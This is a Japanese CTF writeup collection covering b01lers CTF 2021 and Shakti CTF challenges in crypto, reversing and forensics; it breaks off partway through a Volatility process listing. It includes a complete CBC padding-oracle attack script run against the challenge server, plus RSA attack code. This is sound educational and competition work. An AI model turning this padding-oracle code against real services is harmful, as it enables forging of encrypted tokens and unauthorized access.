b01lers CTF 2021 Writeup

この大会は2021/4/4 7:00(JST)~2021/4/6 7:00(JST)に開催されました。
今回もチームで参戦。結果は1091点で297チーム中60位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity (sanity)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

flag{enjoy_our_cruel_angels_thesis}

Unlucky Strike (Crypto)

サーバの処理は以下の通り。

・getTicket()
 ・nums: Nballs-1個のランダム2バイトの数値の配列
 ・traw: "numbers:" + numsの数値の,区切りの文字列
 ・IV: 16バイトランダム文字列
 ・ticket: IV + 「traw + "," + JOKER」のAES-CBC暗号化
 ・ticketをbase64暗号化して返す。
 →表示
・numbers: Nballs個のランダム3バイトの数値の配列
 →表示
・以下繰り返し
 ・t: 入力
 ・redeemTicket(t) →Trueの場合、ループから抜ける
  ・traw: tをAES-CBC復号(unpkcs7関数でパディングチェックをしている)
  ・nums: trawで"numbers:"の後ろの,区切りの数値Nballs分の配列(JOKERまで)
  ・上記で表示されたnumbersの数値がすべて含まれていたら、フラグが表示される。

CBC Padding Oracleで攻撃すれば良さそう。
IVを含み先頭32バイトはそのまま使わないと"numbers:"が含まれないことに注意する。

import socket
from Crypto.Util.strxor import strxor
import base64

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def pad(s):
  return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)

def is_valid(s, t):
    b = base64.b64encode(t)
    data = recvuntil(s, ':\n').rstrip()
    #print data
    s.sendall(b + '\n')
    data = recvuntil(s, '\n').strip()
    #print data
    if data == 'that is an invalid ticket':
        return False
    else:
        return True

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.b01lers.com', 25003))

data = recvuntil(s, 'ticket:\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
ticket0 = base64.b64decode(data)
data = recvuntil(s, 'are:\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
numbers = eval(data)

pt = 'numbers:'
for num in numbers:
    pt += str(num)
    pt += ','
pt += '0'
pt = pad(pt)
pt_blocks = [pt[i:i+16] for i in range(0, len(pt), 16)]

ct_blocks = ['\x00' * 16] * (len(pt_blocks) + 1)
ct_blocks[-1] = ticket0[-16:]

HEAD_BLOCKS = ticket0[:32]

for i in range(len(ct_blocks)-1, 0, -1):
    xor_block = ''
    for j in range(16):
        print '%d - %d: %s' % (i, j, xor_block.encode('hex'))
        for code in range(256):
            try_pre_block = '\x00' * (16 - j - 1) + chr(code) + strxor(xor_block, chr(j+1)*j)
            try_cipher = HEAD_BLOCKS + try_pre_block + ct_blocks[i]
            if is_valid(s, try_cipher):
                xor_code = (j+1) ^ code
                xor_block = chr(xor_code) + xor_block
                break
    ct_blocks[i - 1] = strxor(xor_block, pt_blocks[i - 1])

ticket = ''.join(ct_blocks)
b64_ticket = base64.b64encode(ticket)
data = recvuntil(s, ':\n').rstrip()
print data
s.sendall(b64_ticket + '\n')
data = recvuntil(s, '\n').strip()
print data

実行結果は以下の通り。

      --------------------------------------------
      Welcome to the 2021 B01lers Crypto Town Fair
      --------------------------------------------

Due to popular demand, our Super Jackpot Lottery [TM] returns this year as well. We are
so confident in our not-entirely-fair algorithm that we are publicly releasing its source
code. Chances for winning have never been smaller! Prizes have never been bigger!!!

Here is your complimentary raffle ticket:
h2iaenpqMU0lzYJWSqgzjJH0fiOFMe4fFohNvfEJNDxoojSd9EpEf5A/FHxyVxMgoTlZenq8qr3/xv2W7umfmteksNKKFD8BnJIq5xACD6KJYaXO8fRasae2spIQ8cf7

Draw commencing... [drumroll]... and the winning numbers are:
[10917928, 3129816, 6588047, 5779531, 15913246]
4 - 0:
4 - 1: a3
4 - 2: 09a3
4 - 3: 0409a3
4 - 4: 160409a3
4 - 5: e1160409a3
4 - 6: 2ce1160409a3
4 - 7: 942ce1160409a3
4 - 8: 9a942ce1160409a3
4 - 9: 079a942ce1160409a3
4 - 10: 39079a942ce1160409a3
4 - 11: 1239079a942ce1160409a3
4 - 12: cf1239079a942ce1160409a3
4 - 13: 91cf1239079a942ce1160409a3
4 - 14: e591cf1239079a942ce1160409a3
4 - 15: e5e591cf1239079a942ce1160409a3
3 - 0:
3 - 1: db
3 - 2: 3edb
3 - 3: de3edb
3 - 4: 52de3edb
3 - 5: ec52de3edb
3 - 6: f6ec52de3edb
3 - 7: 3ef6ec52de3edb
3 - 8: 283ef6ec52de3edb
3 - 9: 70283ef6ec52de3edb
3 - 10: d970283ef6ec52de3edb
3 - 11: c3d970283ef6ec52de3edb
3 - 12: 92c3d970283ef6ec52de3edb
3 - 13: d892c3d970283ef6ec52de3edb
3 - 14: f2d892c3d970283ef6ec52de3edb
3 - 15: 2ef2d892c3d970283ef6ec52de3edb
2 - 0:
2 - 1: e4
2 - 2: 1de4
2 - 3: 6a1de4
2 - 4: 236a1de4
2 - 5: 95236a1de4
2 - 6: 3f95236a1de4
2 - 7: 7e3f95236a1de4
2 - 8: 267e3f95236a1de4
2 - 9: 09267e3f95236a1de4
2 - 10: 5f09267e3f95236a1de4
2 - 11: 0c5f09267e3f95236a1de4
2 - 12: 540c5f09267e3f95236a1de4
2 - 13: da540c5f09267e3f95236a1de4
2 - 14: 02da540c5f09267e3f95236a1de4
2 - 15: c802da540c5f09267e3f95236a1de4
1 - 0:
1 - 1: b9
1 - 2: f4b9
1 - 3: eef4b9
1 - 4: f9eef4b9
1 - 5: a2f9eef4b9
1 - 6: a5a2f9eef4b9
1 - 7: 67a5a2f9eef4b9
1 - 8: c567a5a2f9eef4b9
1 - 9: 9ec567a5a2f9eef4b9
1 - 10: 2d9ec567a5a2f9eef4b9
1 - 11: 962d9ec567a5a2f9eef4b9
1 - 12: 9b962d9ec567a5a2f9eef4b9
1 - 13: c69b962d9ec567a5a2f9eef4b9
1 - 14: 6cc69b962d9ec567a5a2f9eef4b9
1 - 15: b36cc69b962d9ec567a5a2f9eef4b9
Redeem a ticket:
**JACKPOT**  -> Here is your reward: bctf{be_v4ry_of_pr0pr13t4ry_c0de_and_don7_exp3ct_f4ir_rngs..}
bctf{be_v4ry_of_pr0pr13t4ry_c0de_and_don7_exp3ct_f4ir_rngs..}

RSASSS (Crypto)

son1~son3にRSA暗号のパラメータが渡されているので、まずは復号する。
son1のRSA暗号パラメータではeが小さく、cもnに比べてかなり小さいので、Low Public Exponent Attackで復号する。

from Crypto.Util.number import *
import gmpy

N = 97047969232146954924046774696075865737213640317155598548487427318856539382020276352271195838803309131457220036648459752540841036128924236048549721616504194211254524734004891263525843844420125276708561088067354907535207032583787127753999797298443939923156682493665024043791390402297820623248479854569162947726288476231132227245848115115422145148336574070067423431126845531640957633685686645225126825334581913963565723039133863796718136412375397839670960352036239720850084055826265202851425314018360795995897013762969921609482109602561498180630710515820313694959690818241359973185843521836735260581693346819233041430373151
e = 3
c = 6008114574778435343952018711942729034975412246009252210018599456513617537698072592002032569492841831205939130493750693989597182551192638274353912519544475581613764788829782577570885595737170709653047941339954488766683093231757625

m = gmpy.root(c, e)[0]
flag1 = long_to_bytes(m)
print flag1

実行結果は以下の通り。

(1, 132156498146518935546534654)

次にson2のRSA暗号パラメータでは、eが16で、2のべき乗となっている。

pow(m, e, p) = c % p
pow(m, e, q) = c % q

上記をTonelli-Shanks Algorithmを使って平方剰余を4回行い、中国人剰余定理により復号する。

#!/usr/bin/python3
from Crypto.Util.number import *
from sympy.ntheory.modular import crt

def legendre(a, p):
    return pow(a, (p - 1) // 2, p)

def tonelli_shanks(a, p):
    if legendre(a, p) != 1:
        raise Exception("not a square (mod p)")

    q = p - 1
    s = 0
    while q % 2 == 0:
        q >>= 1
        s += 1

    for z in range(2, p):
        if legendre(z, p) == p - 1:
            break

    m = s
    c = pow(z, q, p)
    t = pow(a, q, p)
    r = pow(a, (q + 1) // 2, p)

    t2 = 0
    while True:
        if t == 0: return 0
        if t == 1: return r
        t2 = (t * t) % p
        for i in range(1, m):
            if t2 % p == 1:
                break
            t2 = (t2 * t2) % p
        b = pow(c, 1 << (m - i - 1), p)
        m = i
        c = (b * b) % p
        t = (t * c) % p
        r = (r * b) % p

def is_printable(s):
    for c in s:
        if c < 32 or c > 126:
            return False
    return True

p = 7237005577332262213973186563042994240829374041602535252466099000494570602917
q = 88653318322320212121171535397276679450159832009631056842709712756058489880609
e = 16
c = 128067909105216284348808993695734979917384615977985008857494038384160720721127262500602107681721675827823420594821881043967947295783995842628815275429540

cp = c % p
cq = c % q

rs_p = [cp]
for i in range(4):
    tmp_rs = []
    for j in range(len(rs_p)):
        try:
            m = tonelli_shanks(rs_p[j], p)
            if m not in tmp_rs:
                tmp_rs.append(m)
            if p - m not in tmp_rs:
                tmp_rs.append(p - m)
        except:
            continue
    rs_p = tmp_rs

rs_q = [cq]
for i in range(4):
    tmp_rs = []
    for j in range(len(rs_q)):
        try:
            m = tonelli_shanks(rs_q[j], q)
            if m not in tmp_rs:
                tmp_rs.append(m)
            if q - m not in tmp_rs:
                tmp_rs.append(q - m)
        except:
            continue
    rs_q = tmp_rs

for r_p in rs_p:
    for r_q in rs_q:
        m = int(crt([p, q], [r_p, r_q])[0])
        flag2 = long_to_bytes(m)
        if is_printable(flag2):
            print(flag2)

実行結果は以下の通り。

(2, 861352498496153254961238645321268413658613864351)

son3については、factordbでnを素因数分解する。

n = 1267650600228229401496703205653 * 2535301200456458802993406410833

あとはそのまま復号する。

629294375772413445978559434482906561379546104217158827579853

この数値を文字にしてもprintableな文字にならない。そこで再度問題文を見たら、以下の文が追加されていた。

NOTE: You will need to add 541893472927304311696017462663852715895951883676838007787557872016428N to the plaintext to recover the message after decrypting.

これを考慮して復号する。

from Crypto.Util.number import *

def is_printable(s):
    for c in s:
        if ord(c) < 32 or ord(c) > 126:
            return False
    return True

N = 3213876088517980551083924185487283336189331657515992206038949
e = 65537
c = 2941293819923490843589362205798232424837846370982721175905966

p = 1267650600228229401496703205653
q = 2535301200456458802993406410833

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
m += 541893472927304311696017462663852715895951883676838007787557872016428 * N

flag3 = long_to_bytes(m)
print flag3

実行結果は以下の通り。

(3, 3145756504701717246281836139538967176547517737056)

SSSで3者の情報が最低限必要なので、2次方程式に載るはず。son1~3で復号した3つの座標が以下の形式の方程式を満たす。

y = a * x**2 + b * x + c

3元方程式になるので、これを元にcを割り出せば、それが共有する情報となる。

import sympy
from Crypto.Util.number import *

share1 = 132156498146518935546534654
share2 = 861352498496153254961238645321268413658613864351
share3 = 3145756504701717246281836139538967176547517737056

a = sympy.Symbol('a')
b = sympy.Symbol('b')
c = sympy.Symbol('c')

eq1 = a + b + c - share1
eq2 = a * 4 + b * 2 + c - share2
eq3 = a * 9 + b * 3 + c - share3
ans = sympy.solve([eq1, eq2, eq3])
m = ans[c]
flag = long_to_bytes(m)
print flag
bctf{Mr._Ad1_5ham1r}

Shakti CTF Writeup

この大会は2021/4/3 15:30(JST)~2021/4/5 3:30(JST)に開催されました。
今回もチームで参戦。結果は1115点で452チーム中54位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc 10)

Discordに入り、#readmeチャネルで:thumbsup:の反応をしたら、たくさんのチャネルが現れた。その中にある#rulesチャネルの13番目の項目で黒塗りされている部分をクリックしたら、フラグが見えた。

shaktictf{G00d_t0_r34d_th3_rUl3s!}

pillow (Misc 100)

1~3000.jpgのタイルを縦方向に並べる。タイルは縦50、横60。

from PIL import Image

WIDTH_NUM = 60
HEIGHT_NUM = 50
UNIT_SIZE = 10
WIDTH = UNIT_SIZE * WIDTH_NUM
HEIGHT = UNIT_SIZE * HEIGHT_NUM
IFILE_FORMAT = './60x50/%d.jpg'

output_img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255))

x = 0
y = 0
for i in range(WIDTH_NUM * HEIGHT_NUM):
    filename = IFILE_FORMAT % (i + 1)
    input_img = Image.open(filename).convert('RGB')
    if y == HEIGHT_NUM:
        x += 1
        y = 0
    output_img.paste(input_img, ((x * UNIT_SIZE), (y * UNIT_SIZE)))
    y += 1

output_img.save('flag.jpg')

f:id:satou-y:20210412132902j:plain

shaktictf{pill0w_l1k3_a_g00d_c0nscience}

decodeit (Misc 100)

バーコードの画像。https://zxing.org/w/decode.jspxでデコードする。

shaktictf{N1C3_w0rK_Fr13nD}

hack (Reversing 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  size_t sVar1;
  long in_FS_OFFSET;
  int local_30;
  int local_2c;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter the string: ");
  __isoc99_scanf(&DAT_001009a7,local_28);
  local_30 = 1;
  sVar1 = strlen(local_28);
  if (sVar1 != 0x10) {
    puts("I dont think so XD");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  local_2c = 0;
  while (local_28[local_2c] != '\0') {
    if (local_28[local_2c] != (char)*(undefined4 *)(v2 + (long)(local_2c + 3) * 4)) {
      puts("Nope");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    local_30 = local_30 + 1;
    local_2c = local_2c + 1;
  }
  if (local_30 == 0x11) {
    printf("Your Flag: shaktictf{%s}\n",local_28);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

                             v2                                              XREF[3]:     Entry Point(*), main:0010088c(*), 
                                                                                          main:00100893(R)  
        00301020 59 00 00        undefine
                 00 33 00 
                 00 00 73 
           00301020 59              undefined159h                     [0]                               XREF[3]:     Entry Point(*), main:0010088c(*), 
                                                                                                                     main:00100893(R)  
           00301021 00              undefined100h                     [1]
           00301022 00              undefined100h                     [2]
           00301023 00              undefined100h                     [3]
           00301024 33              undefined133h                     [4]
           00301025 00              undefined100h                     [5]
           00301026 00              undefined100h                     [6]
           00301027 00              undefined100h                     [7]
           00301028 73              undefined173h                     [8]
           00301029 00              undefined100h                     [9]
           0030102a 00              undefined100h                     [10]
           0030102b 00              undefined100h                     [11]
           0030102c 5f              undefined15Fh                     [12]
           0030102d 00              undefined100h                     [13]
           0030102e 00              undefined100h                     [14]
           0030102f 00              undefined100h                     [15]
           00301030 5f              undefined15Fh                     [16]
           00301031 00              undefined100h                     [17]
           00301032 00              undefined100h                     [18]
           00301033 00              undefined100h                     [19]
           00301034 48              undefined148h                     [20]
           00301035 00              undefined100h                     [21]
           00301036 00              undefined100h                     [22]
           00301037 00              undefined100h                     [23]
           00301038 34              undefined134h                     [24]
           00301039 00              undefined100h                     [25]
           0030103a 00              undefined100h                     [26]
           0030103b 00              undefined100h                     [27]
           0030103c 63              undefined163h                     [28]
           0030103d 00              undefined100h                     [29]
           0030103e 00              undefined100h                     [30]
           0030103f 00              undefined100h                     [31]
           00301040 4b              undefined14Bh                     [32]
           00301041 00              undefined100h                     [33]
           00301042 00              undefined100h                     [34]
           00301043 00              undefined100h                     [35]
           00301044 5f              undefined15Fh                     [36]
           00301045 00              undefined100h                     [37]
           00301046 00              undefined100h                     [38]
           00301047 00              undefined100h                     [39]
           00301048 74              undefined174h                     [40]
           00301049 00              undefined100h                     [41]
           0030104a 00              undefined100h                     [42]
           0030104b 00              undefined100h                     [43]
           0030104c 48              undefined148h                     [44]
           0030104d 00              undefined100h                     [45]
           0030104e 00              undefined100h                     [46]
           0030104f 00              undefined100h                     [47]
           00301050 33              undefined133h                     [48]
           00301051 00              undefined100h                     [49]
           00301052 00              undefined100h                     [50]
           00301053 00              undefined100h                     [51]
           00301054 5f              undefined15Fh                     [52]
           00301055 00              undefined100h                     [53]
           00301056 00              undefined100h                     [54]
           00301057 00              undefined100h                     [55]
           00301058 4d              undefined14Dh                     [56]
           00301059 00              undefined100h                     [57]
           0030105a 00              undefined100h                     [58]
           0030105b 00              undefined100h                     [59]
           0030105c 30              undefined130h                     [60]
           0030105d 00              undefined100h                     [61]
           0030105e 00              undefined100h                     [62]
           0030105f 00              undefined100h                     [63]
           00301060 30              undefined130h                     [64]
           00301061 00              undefined100h                     [65]
           00301062 00              undefined100h                     [66]
           00301063 00              undefined100h                     [67]
           00301064 6e              undefined16Eh                     [68]
           00301065 00              undefined100h                     [69]
           00301066 00              undefined100h                     [70]
           00301067 00              undefined100h                     [71]
           00301068 5f              undefined15Fh                     [72]
           00301069 00              undefined100h                     [73]
           0030106a 00              undefined100h                     [74]
           0030106b 00              undefined100h                     [75]
           0030106c 5f              undefined15Fh                     [76]
           0030106d 00              undefined100h                     [77]
           0030106e 00              undefined100h                     [78]
           0030106f 00              undefined100h                     [79]
           00301070 21              undefined121h                     [80]
           00301071 00              undefined100h                     [81]
           00301072 00              undefined100h                     [82]
           00301073 00              undefined100h                     [83]
           00301074 21              undefined121h                     [84]
           00301075 00              undefined100h                     [85]
           00301076 00              undefined100h                     [86]
           00301077 00              undefined100h                     [87]
           00301078 5f              undefined15Fh                     [88]
           00301079 00              undefined100h                     [89]
           0030107a 00              undefined100h                     [90]
           0030107b 00              undefined100h                     [91]
           0030107c 48              undefined148h                     [92]
           0030107d 00              undefined100h                     [93]
           0030107e 00              undefined100h                     [94]
           0030107f 00              undefined100h                     [95]
           00301080 00              undefined100h                     [96]
           00301081 00              undefined100h                     [97]
           00301082 00              undefined100h                     [98]
           00301083 00              undefined100h                     [99]
           00301084 00              undefined100h                     [100]
           00301085 00              undefined100h                     [101]
           00301086 00              undefined100h                     [102]
           00301087 00              undefined100h                     [103]
           00301088 00              undefined100h                     [104]
           00301089 00              undefined100h                     [105]
           0030108a 00              undefined100h                     [106]
           0030108b 00              undefined100h                     [107]
           0030108c 00              undefined100h                     [108]
           0030108d 00              undefined100h                     [109]
           0030108e 00              undefined100h                     [110]
           0030108f 00              undefined100h                     [111]
           00301090 00              undefined100h                     [112]
           00301091 00              undefined100h                     [113]
           00301092 00              undefined100h                     [114]
           00301093 00              undefined100h                     [115]
           00301094 00              undefined100h                     [116]
           00301095 00              undefined100h                     [117]
           00301096 00              undefined100h                     [118]
           00301097 00              undefined100h                     [119]

このことから以下がわかるので、比較している値を確認していく。

・フラグの長さは16バイト
・vの値と比較(index:12から3バイト飛ばし)
>>> chr(0x5f)
'_'
>>> chr(0x5f)
'_'
>>> chr(0x48)
'H'
>>> chr(0x34)
'4'
>>> chr(0x63)
'c'
>>> chr(0x4b)
'K'
>>> chr(0x5f)
'_'
>>> chr(0x74)
't'
>>> chr(0x48)
'H'
>>> chr(0x33)
'3'
>>> chr(0x5f)
'_'
>>> chr(0x4d)
'M'
>>> chr(0x30)
'0'
>>> chr(0x30)
'0'
>>> chr(0x6e)
'n'
>>> chr(0x5f)
'_'

連結すると、以下のようになる。

__H4cK_tH3_M00n_

実行中のパラメータに指定してみる。

$ ./hack
Enter the string: __H4cK_tH3_M00n_
Your Flag: shaktictf{__H4cK_tH3_M00n_}
shaktictf{__H4cK_tH3_M00n_}

fusk (Reversing 100)

Ghidraでデコンパイルする。

undefined8 FUN_0010124e(void)

{
  uint uVar1;
  int iVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  int local_d0;
  int local_cc;
  uint local_c8 [32];
  char local_48 [40];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_d0 = 3;
  fgets(local_48,0x20,stdin);
  local_cc = 0;
  while( true ) {
    sVar3 = strlen(local_48);
    if (sVar3 <= (ulong)(long)local_cc) break;
    uVar1 = FUN_001011a9(local_d0);
    local_c8[local_cc] = (int)local_48[local_cc] ^ uVar1;
    local_cc = local_cc + 1;
    local_d0 = local_d0 + 1;
  }
  iVar2 = FUN_001011e9(local_c8);
  if (iVar2 == 0) {
    puts("Try Again..!");
  }
  else {
    puts("You Win");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

int FUN_001011a9(int param_1)

{
  int iVar1;
  
  if (1 < param_1) {
    iVar1 = FUN_001011a9(param_1 + -1);
    param_1 = FUN_001011a9(param_1 + -2);
    param_1 = param_1 + iVar1;
  }
  return param_1;
}

undefined4 FUN_001011e9(long param_1)

{
  undefined4 local_10;
  uint local_c;
  
  local_10 = 1;
  local_c = 0;
  while (local_c < 0x1f) {
    if (*(int *)(&DAT_00102020 + (long)(int)local_c * 4) !=
        *(int *)(param_1 + (long)(int)local_c * 4)) {
      local_10 = 0;
    }
    local_c = local_c + 1;
  }
  return local_10;
}

                             DAT_00102020                                    XREF[2]:     FUN_001011e9:00101212(*), 
                                                                                          FUN_001011e9:00101219(R)  
        00102020 71              ??         71h    q
        00102021 00              ??         00h
        00102022 00              ??         00h
        00102023 00              ??         00h
        00102024 6b              ??         6Bh    k
        00102025 00              ??         00h
        00102026 00              ??         00h
        00102027 00              ??         00h
        00102028 64              ??         64h    d
        00102029 00              ??         00h
        0010202a 00              ??         00h
        0010202b 00              ??         00h
        0010202c 63              ??         63h    c
        0010202d 00              ??         00h
        0010202e 00              ??         00h
        0010202f 00              ??         00h
        00102030 79              ??         79h    y
        00102031 00              ??         00h
        00102032 00              ??         00h
        00102033 00              ??         00h
        00102034 7c              ??         7Ch    |
        00102035 00              ??         00h
        00102036 00              ??         00h
        00102037 00              ??         00h
        00102038 41              ??         41h    A
        00102039 00              ??         00h
        0010203a 00              ??         00h
        0010203b 00              ??         00h
        0010203c 43              ??         43h    C
        0010203d 00              ??         00h
        0010203e 00              ??         00h
        0010203f 00              ??         00h
        00102040 3f              ??         3Fh    ?
        00102041 00              ??         00h
        00102042 00              ??         00h
        00102043 00              ??         00h
        00102044 eb              ??         EBh
        00102045 00              ??         00h
        00102046 00              ??         00h
        00102047 00              ??         00h
        00102048 9a              ??         9Ah
        00102049 00              ??         00h
        0010204a 00              ??         00h
        0010204b 00              ??         00h
        0010204c 48              ??         48h    H
        0010204d 01              ??         01h
        0010204e 00              ??         00h
        0010204f 00              ??         00h
        00102050 0f              ??         0Fh
        00102051 02              ??         02h
        00102052 00              ??         00h
        00102053 00              ??         00h
        00102054 ab              ??         ABh
        00102055 03              ??         03h
        00102056 00              ??         00h
        00102057 00              ??         00h
        00102058 51              ??         51h    Q
        00102059 06              ??         06h
        0010205a 00              ??         00h
        0010205b 00              ??         00h
        0010205c 2b              ??         2Bh    +
        0010205d 0a              ??         0Ah
        0010205e 00              ??         00h
        0010205f 00              ??         00h
        00102060 0a              ??         0Ah
        00102061 10              ??         10h
        00102062 00              ??         00h
        00102063 00              ??         00h
        00102064 00              ??         00h
        00102065 1a              ??         1Ah
        00102066 00              ??         00h
        00102067 00              ??         00h
        00102068 ad              ??         ADh
        00102069 2a              ??         2Ah    *
        0010206a 00              ??         00h
        0010206b 00              ??         00h
        0010206c 59              ??         59h    Y
        0010206d 45              ??         45h    E
        0010206e 00              ??         00h
        0010206f 00              ??         00h
        00102070 97              ??         97h
        00102071 6f              ??         6Fh    o
        00102072 00              ??         00h
        00102073 00              ??         00h
        00102074 55              ??         55h    U
        00102075 b5              ??         B5h
        00102076 00              ??         00h
        00102077 00              ??         00h
        00102078 24              ??         24h    $
        00102079 25              ??         25h    %
        0010207a 01              ??         01h
        0010207b 00              ??         00h
        0010207c 52              ??         52h    R
        0010207d da              ??         DAh
        0010207e 01              ??         01h
        0010207f 00              ??         00h
        00102080 23              ??         23h    #
        00102081 ff              ??         FFh
        00102082 02              ??         02h
        00102083 00              ??         00h
        00102084 44              ??         44h    D
        00102085 d9              ??         D9h
        00102086 04              ??         04h
        00102087 00              ??         00h
        00102088 dc              ??         DCh
        00102089 d8              ??         D8h
        0010208a 07              ??         07h
        0010208b 00              ??         00h
        0010208c 18              ??         18h
        0010208d b2              ??         B2h
        0010208e 0c              ??         0Ch
        0010208f 00              ??         00h
        00102090 b3              ??         B3h
        00102091 8a              ??         8Ah
        00102092 14              ??         14h
        00102093 00              ??         00h
        00102094 78              ??         78h    x
        00102095 3d              ??         3Dh    =
        00102096 21              ??         21h    !
        00102097 00              ??         00h
        00102098 e8              ??         E8h
        00102099 c7              ??         C7h
        0010209a 35              ??         35h    5
        0010209b 00              ??         00h

フラグに関係するところを読み取る。

・入力文字列の各文字をFUN_001011a9の結果とXORを取る。
・この結果をDAT_00102020と比較する。

これを元にフラグを復元する。

def FUN_001011a9(n):
    if n > 1:
        iVar1 = FUN_001011a9(n - 1)
        n = FUN_001011a9(n - 2)
        n = n + iVar1
    return n

local_d0 = 3
keys = []
for i in range(31):
    uVar1 = FUN_001011a9(local_d0)
    keys.append(uVar1 & 0xff)
    local_d0 += 1

data = [0x71, 0x6b, 0x64, 0x63, 0x79, 0x7c, 0x41, 0x43, 0x3f, 0xeb, 0x9a, 0x48,
    0x0f, 0xab, 0x51, 0x2b, 0x0a, 0x00, 0xad, 0x59, 0x97, 0x55, 0x24, 0x52,
    0x23, 0x44, 0xdc, 0x18, 0xb3, 0x78, 0xe8]

flag = ''
for i in range(31):
    flag += chr(data[i] ^ keys[i])
print flag
shaktictf{s1mpl3_movfu5ca7i0n}

Delete (Forensics 100)

先頭48バイト分はPNGヘッダのようになっているが、その後からまたPNGのフォーマットになっているので、先頭48バイト分を削除する。すると、画像にフラグが書いてあった。
f:id:satou-y:20210412143508p:plain

shaktictf{Y0u_4R3_aM4z1nG!!!!}

Chunkies (Forensics 100)

PNGのチャンクが壊れているので、修正する。

PNG -> \x89PNG
IADT -> IDAT
INED -> IEND
import binascii
import struct

with open('file.png', 'rb') as f:
    data = f.read()

data = data.replace('PNG', '\x89PNG')
data = data.replace('IADT', 'IDAT')
data = data.replace('INED', 'IEND')

with open('file_fix.png', 'wb') as f:
    f.write(data)

あとIHDRチャンクにある高さの情報が違っているので、高さを変更し、データとして現れている部分まで伸ばす。
f:id:satou-y:20210412150654p:plain

shaktictf{Y4YyyyY_y0u_g0t_1T}

Help Me (Forensics 400)

$ volatility -f Challenge.vmem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/Challenge.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002a100a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002a11d00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-04-03 05:10:52 UTC+0000
     Image local date and time : 2021-04-03 10:40:52 +0530

$ volatility -f Challenge.vmem --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa8018da5040:System                              4      0     83    512 2021-04-03 05:09:41 UTC+0000
. 0xfffffa8019cbe310:smss.exe                         240      4      3     29 2021-04-03 05:09:41 UTC+0000
 0xfffffa801a7d9b30:explorer.exe                     1080   1052     43   1054 2021-04-03 05:09:48 UTC+0000
. 0xfffffa801ab60630:cmd.exe                         1708   1080      1     19 2021-04-03 05:09:57 UTC+0000
. 0xfffffa8019cbc760:WinRAR.exe                      2836   1080     12    406 2021-04-03 05:10:38 UTC+0000
 0xfffffa801a4d4610:csrss.exe                         316    308      8    472 2021-04-03 05:09:44 UTC+0000
 0xfffffa8018daa060:wininit.exe                       364    308      7     88 2021-04-03 05:09:45 UTC+0000
. 0xfffffa801a533910:lsass.exe                        472    364     11    769 2021-04-03 05:09:45 UTC+0000
. 0xfffffa801a404b30:services.exe                     464    364     24    222 2021-04-03 05:09:45 UTC+0000
.. 0xfffffa801aa7f060:SearchIndexer.                 1912    464     14    599 2021-04-03 05:09:55 UTC+0000
... 0xfffffa801ab3cb30:SearchProtocol                1272   1912      7    226 2021-04-03 05:09:56 UTC+0000
... 0xfffffa801ab47b30:SearchFilterHo                1504   1912      5     78 2021-04-03 05:09:57 UTC+0000
.. 0xfffffa8018eb4690:svchost.exe                     792    464     30    496 2021-04-03 05:09:46 UTC+0000
... 0xfffffa801a7cfb30:dwm.exe                       1060    792      6     84 2021-04-03 05:09:48 UTC+0000
.. 0xfffffa801a823b30:taskhost.exe                   1184    464      9    187 2021-04-03 05:09:48 UTC+0000
.. 0xfffffa801a6b5b30:svchost.exe                     684    464     25    534 2021-04-03 05:09:46 UTC+0000
... 0xfffffa8019af9060:audiodg.exe                    908    684      6    125 2021-04-03 05:09:47 UTC+0000
.. 0xfffffa801abadb30:svchost.exe                    2100    464     11    350 2021-04-03 05:09:58 UTC+0000
.. 0xfffffa801a663410:svchost.exe                     568    464     16    367 2021-04-03 05:09:46 UTC+0000
... 0xfffffa801a7bfb30:dllhost.exe                   1344    568     12    242 2021-04-03 05:10:47 UTC+0000
... 0xfffffa8019a1f970:iexplore.exe                  2980    568     17    361 2021-04-03 05:10:45 UTC+0000
.... 0xfffffa801a729720:iexplore.exe                 1092   2980     16    327 2021-04-03 05:10:46 UTC+0000
... 0xfffffa801ac306e0:WmiPrvSE.exe                  2356    568      8    114 2021-04-03 05:10:00 UTC+0000
.. 0xfffffa801ab189e0:svchost.exe                    1220    464     34    367 2021-04-03 05:09:56 UTC+0000
.. 0xfffffa801a728b30:svchost.exe                     984    464     41    559 2021-04-03 05:09:47 UTC+0000
.. 0xfffffa801a7f3b30:spoolsv.exe                    1116    464     15    279 2021-04-03 05:09:48 UTC+0000
.. 0xfffffa8019a285c0:svchost.exe                     848    464     51    817 2021-04-03 05:09:47 UTC+0000
.. 0xfffffa801ab85b30:wmpnetwk.exe                    356    464     17    477 2021-04-03 05:09:58 UTC+0000
